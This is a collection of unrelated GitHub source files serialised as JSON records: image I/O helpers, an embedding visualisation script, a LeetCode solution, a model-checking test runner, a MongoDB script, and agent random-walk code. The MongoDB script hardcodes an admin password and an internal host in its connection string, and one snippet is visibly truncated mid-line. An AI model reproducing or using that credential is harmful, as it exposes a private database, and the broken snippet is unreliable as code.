'/path/to/data.p'\n Returns:\n data : object\n Object loaded from pickle file.\n \"\"\"\n with open(path, 'rb') as fp:\n return pickle.load(fp)\n\n\ndef saveTiff(data, path, dtype=np.uint16, normalise=True):\n \"\"\"Save 2D image data as a tiff.\n By default, images are rescaled to range [0, 65535] and saved with 16\n bits per pixel.\n Parameters:\n data : np.ndarray\n The 2D image to save\n path : str\n The filepath where the image will be saved. If it doesn't have a\n file extension, one will be added.\n dtype : np.dtype\n The datatype to convert the data to before saving.\n Default is np.uint16\n normalise : bool\n Whether to normalise the data before saving.\n Default is True.\n \"\"\"\n if normalise:\n data = rescale(data)\n if dtype == np.uint16:\n data *= 65535\n img = Image.fromarray(data.astype(dtype))\n if not path.endswith('.tif'):\n path += '.tif'\n img.save(path)\n\n\ndef save3DTiff(data, path, dtype=np.uint16, normalise=True):\n \"\"\"Save 3D image as a series of 2D slices.\n Image data must be in form (z, y, x) where slices are selected along axis z\n Slices are all saved in the same directory, with names like:\n '_0000.tif', '_0001.tif', ..., '_9999.tif'\n where the number after identifies the index of the slice of the 3D\n image.\n By default, images are rescaled to range [0, 65535] and saved with 16\n bits per pixel.\n Parameters:\n data : np.ndarray\n The 3D image to save.\n path : str\n The filepath where the image will be saved. Should not contain a\n file extension, otherwise you will get names like this:\n '/path/to/image.tif_0000.tif'\n dtype : np.dtype\n The datatype to convert the data to before saving.\n Default is np.uint16\n normalise : bool\n Whether to normalise the data before saving. Slices are normalised\n w.r.t the entire 3D image.\n Default is True.\n \"\"\"\n if normalise:\n data = rescale(np.abs(data))\n if dtype == np.uint16:\n data *= 65535\n for z in range(data.shape[0]):\n filename = path + '_' + str(z).zfill(4)\n saveTiff(data[z, ...], filename, dtype=dtype, normalise=False)\n print(f\"Saved .tif image to {path}.\")\n\n\ndef loadTiff(path, dtype=np.uint16, normalise=True):\n \"\"\"Load tiff image from disk.\n Parameters:\n path : str\n The filepath to load the image from. If it does not contain a file\n extension, one will be added.\n dtype : np.dtype\n The datatype to convert the data to when loading. Should match the\n datatype it was saved with.\n Default is np.uint16\n normalise : bool\n Whether to normalise the data after loading. Data is rescaled to\n range [0, 65535].\n Default is True.\n \"\"\"\n if not path.endswith('.tif'):\n path += '.tif'\n img = Image.open(path)\n data = np.array(img, dtype=dtype)\n if normalise:\n data = rescale(data, imin=0, imax=65535)\n return data\n\n\ndef load3DTiff(path, shape, dtype=np.uint16, normalise=True):\n \"\"\"Load a 3D tiff image from disk. Assumes images were saved according to\n the function `save3DTiff`.\n In other words, 2D slices must all be located in the same directory, with\n names like:\n '_0000.tif', '_0001.tif', ..., '_9999.tif'\n where the number after indicates the index of the slice of the 3D\n image.\n Parameters:\n path : str\n The filepath to load the image from. Should not contain a file\n extension, otherwise loading will fail.\n shape : Tuple[int, int, int]\n Shape of data to load from disk. Should contain 3 integers in form\n (z, y, x) i.e. (depth, height, width).\n dtype : np.dtype\n The datatype to convert the data to when loading. Should match the\n datatype it was saved with.\n Default is np.uint16\n normalise : bool\n Whether to normalise the data after loading. Data is rescaled to\n range [0, 1] w.r.t the entire 3D image.\n Default is True.\n \"\"\"\n data = np.empty(shape)\n for z in range(shape[0]):\n filename = path + '_' + str(z).zfill(4) + '.tif'\n data[z, ...] = loadTiff(filename, dtype=dtype, normalise=False)\n if normalise:\n data = rescale(data, 0, 1)\n return data\n","repo_name":"dkazanc/NoStripesNet","sub_path":"utils/data_io.py","file_name":"data_io.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"20269688","text":"import gensim\r\nfrom collections import Counter\r\n\r\nimport gensim\r\nfrom numpy import log10\r\nimport pandas as pd\r\nimport plotly\r\nimport plotly.graph_objs as go\r\nimport plotly.express as px\r\nimport umap.umap_ as umap\r\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot\r\nfrom plotly.graph_objs import *\r\n\r\n\r\ndef setMetadata(file):\r\n \r\n dic = dict()\r\n \r\n f = open(file, 'r')\r\n Lines = f.readlines()\r\n project = \"\"\r\n \r\n count = 0\r\n # Strips the newline character\r\n for line in Lines:\r\n \r\n line = line.strip()\r\n if count == 0:\r\n project = line\r\n dic[line] = dict()\r\n count += 1\r\n elif line == \"\":\r\n count = 0\r\n else:\r\n line = line.split()\r\n prop = line[0]\r\n val = line[1]\r\n dicProp = dic[project]\r\n dicProp[prop] = val\r\n count += 1\r\n \r\n\r\n\r\n f.close()\r\n \r\n return dic\r\n\r\ndef listForProperty(projects, prop, dic):\r\n \r\n listP = []\r\n \r\n for p in projects:\r\n dicP = dic[p]\r\n if prop in dicP.keys():\r\n listP.append(dicP[prop]);\r\n else:\r\n listP.append(\"EMPTY\");\r\n \r\n return listP\r\n\r\n\r\nmodel = gensim.models.Word2Vec.load(\"salida\")\r\nvocabulary = set(model.wv.vocab)\r\n\r\n\r\nreducer = umap.UMAP(metric='cosine', n_neighbors=15, min_dist=0.05, random_state=42)\r\nmodelV2 = model[[w for w in vocabulary if \"','') for w in vocabulary if \"'\r\n#print(\"longitud del vocab \", len(vocab))\r\n#if word in model.wv.vocab:\r\n# print(word,' esta')\r\n# print(model.wv[word])","repo_name":"Antonio4132/Machine-Learning-ML-a-partir-de-Ontologias","sub_path":"Generador_Embeddings_V2/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"27354599776","text":"class Solution:\n def eventualSafeNodes(self, graph: List[List[int]]) -> List[int]:\n N = len(graph)\n safe = [False] * N\n \n adjacency_list = defaultdict(set)\n queue = deque()\n \n for src, dest in enumerate(graph):\n if not dest:\n queue.append(src)\n \n for d in dest:\n adjacency_list[d].add(src)\n \n \n while queue:\n n = queue.popleft()\n \n safe[n] = True\n \n for i in adjacency_list[n]:\n graph[i].remove(n)\n \n if len(graph[i]) == 0:\n queue.append(i)\n return [i for i, is_safe in enumerate(safe) if is_safe]\n \n","repo_name":"madhvi-n/leetcode-python","sub_path":"0802-find-eventual-safe-states/0802-find-eventual-safe-states.py","file_name":"0802-find-eventual-safe-states.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19832628281","text":"import os\nimport subprocess\nimport sys\nfrom timeit import default_timer as timer\n\ntests = [\"burns_safe1\", \"burns_unsafe1\", \"burns_unsafe2\", \"burns_unsafe3\", \"burns_unsafe4\", \\\n\t\t \"burns_unsafe5\", \"dekker_safe1\", \"dekker_unsafe1\", \"dekker_unsafe2\", \"dekker_unsafe3\", \\\n\t\t \"dijkstra_safe1\", \"dijkstra_unsafe1\", \"dijkstra_unsafe2\", \"dijkstra_unsafe3\", \\\n\t\t \"fibbench_safe1\", \"fibbench_unsafe1\", \"nolocking_unsafe1\", \"optimistic3_safe1\", \\\n\t\t \"peterson_safe1\", \"peterson_unsafe1\", \"peterson_unsafe2\", \"pgsql_safe1\", \"pgsql_unsafe1\", \\\n\t\t \"pgsql_bound_safe1\", \"pgsql_bound_unsafe1\", \"singleton_safe1\", \"sigma_unsafe1\", \\\n\t\t \"STXlock_safe1\", \"STXlock_unsafe1\", \"STXlock_unsafe2\", \"STXlock_unsafe3\", \\\n\t\t \"szymanski_safe1\", \"szymanski_unsafe1\", \"wronglock1_unsafe1\", \"wrongpc1_unsafe1\", \\\n\t\t \"queue_safe1\", \"queue_unsafe1\"]\n\nresultdict = {}\ntimedict = {}\ncountdict = {}\noutfile = os.path.join(os.getcwd(),'arm2sc/output_prog_bound.txt')\n\nfor test in tests:\n\tif test[:-1].endswith(\"unsafe\"):\n\t\tfor i in range(2,10):\n\t\t\tnbound = i\t\t\n\t\t\tcmd = f\"python3 arm2sc/translate_prog.py {test} translated.c {i} && python3 arm2sc/call_cbmc.py 2>/dev/null\"\n\t\t\tthen = timer()\n\t\t\ttry:\n\t\t\t\toutput = subprocess.check_output(cmd, shell=True)\n\t\t\texcept Exception as e:\n\t\t\t\toutput = e.output\n\t\t\tnow = timer()\n\t\t\ttimedict[test] = now-then\n\t\t\toutput = output.decode(\"utf-8\")\n\t\t\ttry:\n\t\t\t\tparts = output.split('\\n')\n\t\t\t\ti = -1\n\t\t\t\twhile parts[i].strip() == '':\n\t\t\t\t\ti -= 1\n\t\t\t\tword = parts[i].split()[-1]\n\t\t\texcept Exception as e:\n\t\t\t\tword = \"SUCCEEDED\"\n\t\t\tif word == \"FAILED\":\n\t\t\t\tbreak\n\telse:\n\t\tnbound = 5\t\t\n\t\tcmd = f\"python3 arm2sc/translate_prog.py {test} translated.c 5 && python3 arm2sc/call_cbmc.py 2>/dev/null\"\n\t\tthen = timer()\n\t\ttry:\n\t\t\toutput = subprocess.check_output(cmd, shell=True)\n\t\texcept Exception as e:\n\t\t\toutput = e.output\n\t\tnow = timer()\n\t\ttimedict[test] = now-then\n\t\toutput = output.decode(\"utf-8\")\n\t\ttry:\n\t\t\tparts = output.split('\\n')\n\t\t\ti = -1\n\t\t\twhile parts[i].strip() == '':\n\t\t\t\ti -= 1\n\t\t\tword = parts[i].split()[-1]\n\t\texcept Exception as e:\n\t\t\tword = \"SUCCEEDED\"\n\tif word == \"FAILED\":\n\t\tresultdict[test] = \"unsafe/satisfiable\"\n\telse:\n\t\tresultdict[test] = \"safe/unsatisfiable\"\n\tcountdict[test] = nbound\n\tst = f\"{test} : GOT {resultdict[test]}\"\n\tst = st.ljust(50,'.') + f\"using {nbound} contexts in {timedict[test]} seconds\"\n\tprint(st)\n\nwith open(outfile, 'w+') as f:\n\tfor test, result in resultdict.items():\n\t\tstmt = f\"{test} : GOT {resultdict[test]}\"\n\t\tstmt = stmt.ljust(50,'.') + f\"using {countdict[test]} contexts in {timedict[test]} seconds\\n\"\n\t\tf.write(stmt)","repo_name":"testzer0/Arm2SC","sub_path":"arm2sc/runtests_findbounds.py","file_name":"runtests_findbounds.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"29574560116","text":"from pymongo import MongoClient\nfrom datetime import datetime, timedelta\nnow=datetime.now()\ntodayDate=now.strftime('%Y-%m-%d') #字符串形式的日期\n\n\nclient = MongoClient('mongodb://admin:azero123@172.16.10.14:27027/')\ndb = client['asrspider']\nmusic = db[\"music\"]\nmusic_detail=db['music_detail']\nqq_music=db['qq_music']\n\nmusic_count=0\nmusicupdate_count=0\n\nfor title_data in qq_music.find(no_cursor_timeout=True):\n title=title_data['title']\n singer=title_data['singer']\n # print(title)\n if not music.find_one({\"title\": title}):\n music.insert_one({ \"title\": title, \"create_date\": todayDate })\n music_count+=1\n if music_count % 100 == 0:\n print('music:'+str(music_count))\n\n\n if not music_detail.find_one({\"title\": title,\"singer\":singer}):\n music_detail.insert_one({\"title\": title, \"singer\":singer,\"create_date\": todayDate })\n musicupdate_count+=1\n if musicupdate_count % 100 == 0:\n print('musicupdate:'+str(musicupdate_count))\n\nprint(music_count)\nprint(musicupdate_count)\n","repo_name":"hujinzhongcs/spider","sub_path":"pythontools/qqmusic-music.py","file_name":"qqmusic-music.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"42979693427","text":"from perm_LQUBO.next_perm import NextPerm\nimport numpy as np\n\n\nclass Select:\n\n def __init__(self,\n objective_function=None,\n response_record=None,\n data_dict_p=None,\n current_p=None):\n self.objective_function = objective_function\n self.n_qubo = self.objective_function.n - 1\n self.response_rec = response_record\n self.data_dict_p = data_dict_p\n self.current_p = current_p\n self.selection_made = False\n self.selected_p = 0\n self.selected_v = 0\n self.selected_response = 0\n\n @staticmethod\n def p_in_data(data, p):\n \"\"\"\n Function designed to give a boolean if switch setting q is in the data_dict\n \"\"\"\n # data is expected to be a list\n\n all_tests = []\n\n for arr in data:\n # arr is a numpy array\n\n comparison = arr == p\n\n # all elements of of numpy arrays are equal\n all_tests.append(np.all(comparison))\n\n # when the loop is done return if all of the arrays matched\n return any(all_tests)\n\n def select(self):\n\n for response in self.response_rec:\n next_perm = NextPerm(lqubo_result=response[0], current_perm=self.current_p).next_perm()\n if not self.p_in_data(data=self.data_dict_p, p=next_perm):\n self.selected_response = response\n self.selected_p = next_perm\n self.selected_v = self.objective_function(self.selected_p)\n self.selection_made = True\n return self.selected_p, self.selected_v, self.selected_response\n\n if not self.selection_made:\n self.selected_p = np.random.permutation(self.n_qubo + 1)\n self.selected_v = self.objective_function(self.selected_p)\n self.selected_response = \"Random\"\n return self.selected_p, self.selected_v, self.selected_response\n\n","repo_name":"seangholson/lqubo","sub_path":"perm_LQUBO/select_perm.py","file_name":"select_perm.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"26497070997","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# 注意用好正则表达式\n\n# 导入正则表达式的库\nimport re\n\n# -----------------------------------------------------------\n# saveToThreeLists() - 将导入的文本每一行分别提取内容的函数\ndef saveToThreeLists(e, indexList, titleList, contentList):\n\tmatchResult = re.search(r'(^\\d\\.\\s)(\\*\\*.*\\*\\*)(.*)', e, re.M)\n\n\t# 这个 [matchResult] 已经是匹配完的 re 类型数据(结果)\n\tif matchResult:\n\t\tcount = len(matchResult.groups()) # 匹配出来的元组数量,正常情况下是3组 \n\t\ti = 0\n\t\ttempIndex = int(re.match(r'\\d', matchResult.group(1)).group(0))\n\t\t# print '这次获取的序号为 %i' % tempIndex\n\t\tindexList.append(tempIndex)\n\n\t\ttempTitle = re.sub(r'\\*\\*', '', matchResult.group(2))\n\t\ttitleList.append(tempTitle)\n\n\t\ttempContent = matchResult.group(3)\n\t\tcontentList.append(tempContent)\n\n\t\twhile (i < count):\n\t\t\ti = i+1\n\t\t\t# print '第 %i 点,元组 %i :%s \\n' % (tempIndex, i, matchResult.group(i)),\n\telse:\n\t\ttheIndex = len(indexList) # 需要添加到前一点的末尾中\n\t\t# print '在列表第 %i 个元素中无匹配项,已将内容 \"%s\" 添加至第 %d 点' % ((text.index(e)+1), e, theIndex)\n\t\tcontentList[theIndex-1] = contentList[theIndex-1] + ' %s' % e\n# -----------------------------------------------------------\n\n# -----------------------------------------------------------\n# importText() - 打开一个文本文件,导入所有内容(作为一个列表),关闭文件\ndef getImportedText(file):\n\t# 输入源文件\n\tfile = open(file)\n\t# 获取文本内容(每行)\n\ttext = file.readlines() # 保存下来的是一个列表\n\tfile.close()\n\treturn text\n# -----------------------------------------------------------\n\n# 导入文件内容\ntext = getImportedText('/Users/Moy/Documents/Code/Python/Ref/AET_test.txt')\n\n# 三个列表,分别储存三部分的元组。把三个列表填充满了再统一格式化输出。\nindexList = []\ntitleList = []\ncontentList = []\n\n\n# 对每一行进行处理,得到填满的三个数组\nfor eachLine in text:\n\tsaveToThreeLists(eachLine, indexList, titleList, contentList)\n\n# 生成一个格式化的文本列表\noutputLists = []\n\ntipsCount = len(indexList)\ni = 0 # 这个小 i 是计数君\nwhile (i < tipsCount):\n\ttempOutputString = '| %d\\t| %s\\t|%s\\t|\\n' % (indexList[i], titleList[i], contentList[i])\n\toutputLists.append(tempOutputString)\n\ti = i + 1\n\n\n# 打开待写入的文件\noutput = open('/Users/Moy/Documents/Code/Python/Ref/AET_Output.txt', 'w')\noutput.writelines(outputLists)\noutput.close()\n\n\n\n\n\n'''\n9月17日写的脚本,比较古早的方式。\n\n# 导入每行的文件\nfor eachLine in text:\n\tif eachLine:\n\t\tlineNum = lineNum + 1\n\t\t# 单独获取第一列(标题列)\n\t\ttitle = re.search('^\\d\\.\\s\\*\\*.*\\S\\*\\*', eachLine) # 现在还是作为 re 类型的数据\n\t\t# title = re.search(r'^\\d\\.\\s\\S*', eachLine).group()\n\t\t\n\t\t# 单独获取标题内容,只提取找到了的行中文本\n\t\tif (title != None):\n\t\t\t# 在这里把标题重新格式化\n\t\t\tindex = len(titleList)+1 # 用列表长度+1表示元素的序号\n\t\t\ttitle = re.sub(r'^\\d\\.', str('|'+str(index)), title.group(0)) # 把原来的数字替换成标题序号\n\t\t\ttitle = re.sub(r'\\*\\*', '\\t|\\t', title) # 把加粗的 ** 替换成表格的分隔符\n\t\t\t\n\t\t\tprint '[line %r]: %s , type of title is %r' % (index, title, type(title))\n\n\t\t\t# titleString = str(title.group(0))\n\t\t\ttitleList.append(title)\n\t\t\t#print titleString\n\telse:\n\t\tprint \"failed\"\n\nfor i in titleList:\n\toutput.write(i)\n\n\n'''","repo_name":"Moyf/LearningPython","sub_path":"0913_AET 批量格式化_试验中.py","file_name":"0913_AET 批量格式化_试验中.py","file_ext":"py","file_size_in_byte":3525,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"39787478493","text":"import numpy as np\nimport pandas as pd\nimport time\n\nfrom .jit_compiled_functions import (random_walk_on_sphere_set_position_based_on_graph,\n random_walk_on_sphere_start_random_walk_uniform_prob,\n random_walk_on_sphere_start_random_walk_uniform_prob_return_new_walkers,\n conditional_random_walk_on_sphere_start_random_walk_uniform_prob,\n conditional_random_walk_on_sphere_start_random_walk_uniform_prob_return_new_walkers,\n random_walk_on_sphere_set_initial_dir_to_north,\n random_walk_on_sphere_deviate_direction_from_angles,\n random_walk_on_sphere_propose_step_gamma_law,\n random_walk_on_sphere_make_step_gamma_law,\n random_walk_on_sphere_validate_step,\n random_walk_on_sphere_validate_step_return_fail,\n _temp_random_walk_on_sphere_exit_random_walk_based_on_k)\n\n\nclass SphericalRandomWalk:\n \"\"\"\n This class give the ability for the agent to perform random walks on a sphere. The directions \n are preserved between consecutive steps by using parallel transport. The associated technical \n background can be found in the publication {in-preparation} by F. Viard, A. Allibert and \n P. Leighton.\n \"\"\"\n def __init__(self, px=0., py=0., pz=0., dx=0., dy=0., dz=0., **kwargs):\n self.df_population['is_on_random_walk'] = False\n self.df_population['px'] = px\n self.df_population['py'] = py\n self.df_population['pz'] = pz\n self.df_population['dx'] = dx\n self.df_population['dy'] = dy\n self.df_population['dz'] = dz\n\n self.dict_default_values['is_on_random_walk'] = False\n self.dict_default_values['px'] = px\n self.dict_default_values['py'] = py\n self.dict_default_values['pz'] = pz\n self.dict_default_values['dx'] = dx\n self.dict_default_values['dy'] = dy\n self.dict_default_values['dz'] = dz\n\n def set_dtype_of_positions_and_directions(self, targeted_dtype='float64'):\n \"\"\"\n The computations needed for spherical random walks, as they are now, are really sensitive to\n rounding errors. Therefore, it may be needed to increase the precision of columns px, py, \n pz, dx, dy and dz to float64. This method is a shortcut for doing it on all 6 columns. \n This method won't have any effect if there is no agents.\n\n :param targeted_dtype: optional, string, default 'float64'. The new datatype for the \n position and direction columns.\n\n :return: True if the columns were not empty and the assignement succeded, False otherwise.\n \"\"\"\n if self.df_population.is_empty:\n return False\n\n self.df_population.change_type('px', targeted_dtype)\n self.df_population.change_type('py', targeted_dtype)\n self.df_population.change_type('pz', targeted_dtype)\n self.df_population.change_type('dx', targeted_dtype)\n self.df_population.change_type('dy', targeted_dtype)\n self.df_population.change_type('dz', targeted_dtype)\n\n return True\n\n def set_position_based_on_graph(self, arr_selected_agent,\n agent_position_attribute='position',\n graph_coord_x_attribute='coord_x',\n graph_coord_y_attribute='coord_y',\n graph_coord_z_attribute='coord_z'):\n \"\"\"\n Set the position of the selected agents using coordinates of the graph vertex the agent is \n currently on.\n\n :param arr_selected_agent: 1D array of bool, saying which agents should have their \n coordinates updated according to their position on the graph.\n :param agent_position_attribute: optional, string, default 'position'. Name of the attribute \n position column in the df_population dataframe in the agent \n class.\n :param graph_coord_x_attribute: optional, string, default 'coord_x'. X coordinate of the \n graph vertices.\n :param graph_coord_y_attribute: optional, string, default 'coord_y'. Y coordinate of the \n graph vertices.\n :param graph_coord_z_attribute: optional, string, default 'coord_z'. Z coordinate of the \n graph vertices.\n \"\"\"\n random_walk_on_sphere_set_position_based_on_graph(arr_selected_agent,\n self.df_population[agent_position_attribute],\n self.df_population['px'],\n self.df_population['py'],\n self.df_population['pz'],\n self.graph.df_attributes[graph_coord_x_attribute],\n self.graph.df_attributes[graph_coord_y_attribute],\n self.graph.df_attributes[graph_coord_z_attribute])\n\n def start_random_walk_uniform_prob(self, prob, condition=None, return_arr_new_walker=True):\n \"\"\"\n Perform a uniform test for each agent. Successful agents have their attribute \n 'is_on_random_walk' set to true.\n\n :param prob: float, probability for all agent to start a random walk\n :param condition: optional, 1D array of bool, default None.\n :param return_arr_new_walker: optional, boolean, default True.\n\n :return: None if return_arr_new_walker is False, a 1D array of bool otherwise.\n \"\"\"\n if condition is None:\n arr_start_rw = np.random.uniform(0, 1, (self.df_population.shape[0],)) <= prob\n if return_arr_new_walker:\n return random_walk_on_sphere_start_random_walk_uniform_prob_return_new_walkers(arr_start_rw,\n self.df_population['is_on_random_walk'])\n random_walk_on_sphere_start_random_walk_uniform_prob(arr_start_rw, self.df_population['is_on_random_walk'])\n else:\n arr_start_rw = np.random.uniform(0, 1, (condition.sum(),)) <= prob\n if return_arr_new_walker:\n return conditional_random_walk_on_sphere_start_random_walk_uniform_prob_return_new_walkers(arr_start_rw,\n self.df_population['is_on_random_walk'],\n condition)\n conditional_random_walk_on_sphere_start_random_walk_uniform_prob(arr_start_rw,\n self.df_population['is_on_random_walk'],\n condition)\n\n def set_direction_to_north(self, arr_selected_agents):\n \"\"\"\n Set the directions of the selected agents in the direction of the north pole (coordinates X \n and Y are 0.). Agents located at the north or south pole have their initial direction set to\n (1., 0., 0.). Note that the direction is always a vector of norm 1.\n\n :param arr_selected_agents: 1D array of bool\n \"\"\"\n random_walk_on_sphere_set_initial_dir_to_north(arr_selected_agents,\n self.df_population['px'],\n self.df_population['py'],\n self.df_population['pz'],\n self.df_population['dx'],\n self.df_population['dy'],\n self.df_population['dz'])\n\n def set_direction_von_mises(self, arr_selected_agents, kappa):\n \"\"\"\n Set the direction of the selected agents by deviating their current direction by an angle \n given by von mises distribution.\n\n :param arr_selected_agents: 1D array of bool saying which agent should have their direction \n changed\n :param kappa: kappa parameter for the von mises distribution. The hiher the value of Kappa, \n the smaller the deviation.\n \"\"\"\n deviation_angles = np.random.vonmises(0, kappa, (arr_selected_agents.sum(),))\n random_walk_on_sphere_deviate_direction_from_angles(deviation_angles, arr_selected_agents,\n self.df_population['px'],\n self.df_population['py'],\n self.df_population['pz'],\n self.df_population['dx'],\n self.df_population['dy'],\n self.df_population['dz'])\n\n def make_step_using_gamma_law(self, arr_selected_agents, k, theta, radius,\n list_proximity_classes=None, mode_proximity_test='AND',\n return_agents_failed_making_step=False):\n \"\"\"\n The selected agents make a step, following their current direction with a step length given \n by a Gamma distribution. The user can provide a list of proximity class to test if the step \n fails or succeed.\n\n :param arr_selected_agents: 1D array of bool saying which agent should make a new step\n :param k: shape parameter gamma law\n :param theta: scale parameter gamma law\n :param radius: float, radius of the sphere on which the agents live\n :param list_proximity_classes: optional, list of proximity class, default None. If a list of\n proximity class is provided, the method will check that each \n step is valid according to those proximity class. If the list \n has more than one element, this test is done using the \n methodology defined by the kwarg mode_proximity_test.\n :param mode_proximity_test: optional, string, default 'AND'. Only two accepted values, that \n are 'AND' and 'OR'. If 'AND', a step is valid if and only if all\n the proximity classes validate it. IF 'OR', a step is valid if \n at least one of the proximity classes validate it.\n :param return_agents_failed_making_step: optional, boolean, default False. If True, returns \n a 1D array of bool Saying which agent failed their \n step.\n WARNING: in the resulting array res, res[i] is True if and only if\n the agent at line i had the opportunity to make a step but\n failed to do so. If res[i] is False, then it means the agent\n at line i either was not selected to make a step, or succeded\n to do so.\n\n :return: if return_agents_failed_making_step is True, 1D array of bool. None otherwise.\n \"\"\"\n gamma_sample = np.random.gamma(k, theta, size=(arr_selected_agents.sum(),))\n\n if list_proximity_classes is not None:\n\n new_px, new_py, new_pz, new_dx, new_dy, new_dz = random_walk_on_sphere_propose_step_gamma_law(\n arr_selected_agents, gamma_sample,\n self.df_population['px'],\n self.df_population['py'],\n self.df_population['pz'],\n self.df_population['dx'],\n self.df_population['dy'],\n self.df_population['dz'],\n radius)\n\n list_arr_successful_steps = []\n for proximity_class in list_proximity_classes:\n list_arr_successful_steps.append(proximity_class.is_pos_allowed(new_px, new_py, new_pz))\n if mode_proximity_test.lower() == 'and':\n for i, arr in enumerate(list_arr_successful_steps):\n if i == 0:\n continue\n list_arr_successful_steps[0] = list_arr_successful_steps[0] & arr\n elif mode_proximity_test.lower() == 'or':\n for i, arr in enumerate(list_arr_successful_steps):\n if i == 0:\n continue\n list_arr_successful_steps[0] = list_arr_successful_steps[0] | arr\n else:\n raise ValueError(\"The value for mode_proximity_test kwarg should either be 'AND' or 'OR'.\")\n\n if return_agents_failed_making_step:\n return random_walk_on_sphere_validate_step_return_fail(arr_selected_agents,\n list_arr_successful_steps[0],\n new_px, new_py, new_pz, new_dx, new_dy, new_dz,\n self.df_population['px'],\n self.df_population['py'],\n self.df_population['pz'],\n self.df_population['dx'],\n self.df_population['dy'],\n self.df_population['dz'])\n\n random_walk_on_sphere_validate_step(arr_selected_agents, list_arr_successful_steps[0],\n new_px, new_py, new_pz, new_dx, new_dy, new_dz,\n self.df_population['px'],\n self.df_population['py'],\n self.df_population['pz'],\n self.df_population['dx'],\n self.df_population['dy'],\n self.df_population['dz'])\n\n else:\n random_walk_on_sphere_make_step_gamma_law(arr_selected_agents, gamma_sample,\n self.df_population['px'],\n self.df_population['py'],\n self.df_population['pz'],\n self.df_population['dx'],\n self.df_population['dy'],\n self.df_population['dz'],\n radius)\n\n\n# class RandomWalkOnSphere:\n# \"\"\"\n# This class give the ability for the agent to perform random walks on a sphere. The directions are preserved between\n# consecutive steps by using parallel transport.\n# \"\"\"\n# def __init__(self):\n# self.radius = 1.\n# self.unit = 'km'\n# if hasattr(self, 'df_population'):\n# self.df_population['is_on_random_walk'] = False\n# self.df_population['coord_x'] = np.nan\n# self.df_population['coord_y'] = np.nan\n# self.df_population['coord_z'] = np.nan\n# self.df_population['direction_x'] = np.nan\n# self.df_population['direction_y'] = np.nan\n# self.df_population['direction_z'] = np.nan\n# else:\n# self.df_population = pd.DataFrame(columns=['is_on_random_walk', 'coord_x', 'coord_y', 'coord_z',\n# 'direction_x', 'direction_y', 'direction_z'])\n#\n# if hasattr(self, 'dict_default_values'):\n# self.dict_default_values['is_on_random_walk'] = False\n# self.dict_default_values['coord_x'] = np.nan\n# self.dict_default_values['coord_y'] = np.nan\n# self.dict_default_values['coord_z'] = np.nan\n# self.dict_default_values['direction_x'] = np.nan\n# self.dict_default_values['direction_y'] = np.nan\n# self.dict_default_values['direction_z'] = np.nan\n# else:\n# self.dict_default_values = dict()\n# self.dict_default_values['is_on_random_walk'] = False\n# self.dict_default_values['coord_x'] = np.nan\n# self.dict_default_values['coord_y'] = np.nan\n# self.dict_default_values['coord_z'] = np.nan\n# self.dict_default_values['direction_x'] = np.nan\n# self.dict_default_values['direction_y'] = np.nan\n# self.dict_default_values['direction_z'] = np.nan\n# super().__init__()\n#\n# def set_radius(self, radius, unit='km'):\n# \"\"\"\n# Set the value of the radius of the sphere on which the agents walk.\n# :param radius: float, value for the radius of the sphere.\n# :param unit: optional, string, default 'km'. Unit used for distances. For the moment, this parameter is not\n# used by any method.\n# \"\"\"\n# self.radius = radius\n# self.unit = unit\n#\n# def _temp_exit_random_walk_based_on_k(self, arr_selected_agents, arr_pos_selected_agents, prob_settlement, alpha,\n# arr_pop=None):\n# \"\"\"\n# This method is considered private as it is a quick and dirty hack to have a 'kind of realistic' condition for\n# exiting random walk state. This is not based on ANY literature, so be careful and use at your own risk.\n# \"\"\"\n# arr_selected_agents = np.array(arr_selected_agents)\n# # print('selected_agents', arr_selected_agents)\n# arr_pos_selected_agents = np.array(arr_pos_selected_agents, dtype=np.int32)\n# # print('pos_agents', arr_pos_selected_agents)\n# # print(arr_pos_selected_agents)\n# nb_agents = arr_selected_agents.sum()\n# rand = np.random.uniform(0, 1, (nb_agents,))\n# arr_k = np.array(self.graph.df_attributes['K'])\n# if arr_pop is None:\n# arr_pop = self.count_pop_per_vertex(position_attribute='territory')\n# arr_pop = np.array(arr_pop, dtype=np.int32)\n# arr_stop = _temp_random_walk_on_sphere_exit_random_walk_based_on_k(arr_selected_agents, rand, prob_settlement,\n# alpha, arr_pos_selected_agents, arr_k,\n# arr_pop)\n# # print('stopping agents:', arr_stop)\n# self.df_population['is_on_random_walk'] = self.df_population['is_on_random_walk'] & ~arr_stop\n# # print(self.df_population[['territory', 'col_id']])\n# # print(self.df_population['territory'])\n# self.df_population['territory'] = self.df_population['territory'] + \\\n# arr_stop * (arr_pos_selected_agents - self.df_population['territory'])\n# # print(' ')\n# # print(self.df_population['territory'])\n# # print('---------')\n# # time.sleep(2.)\n#\n# self.df_population['position'] = self.df_population['position'] + \\\n# arr_stop * (arr_pos_selected_agents - self.df_population['position'])\n# return arr_stop\n\n","repo_name":"sampy-project/sampy-main","sub_path":"sampy/agent/random_walk.py","file_name":"random_walk.py","file_ext":"py","file_size_in_byte":20937,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"25889658136","text":"import math\n\nimport cv2\nimport megengine\n\n\ndef normalize_image(tensor: megengine.Tensor, scale=255):\n \"\"\"normalize image tensors of any range to [0, scale=255]\"\"\"\n mi = tensor.min()\n ma = tensor.max()\n tensor = scale * (tensor - mi) / (ma - mi + 1e-9)\n return tensor\n\n\ndef make_grid(\n tensor: megengine.Tensor, # [N,C,H,W]\n nrow: int = 8,\n padding: int = 2,\n background: float = 0,\n normalize: bool = False,\n) -> megengine.Tensor:\n 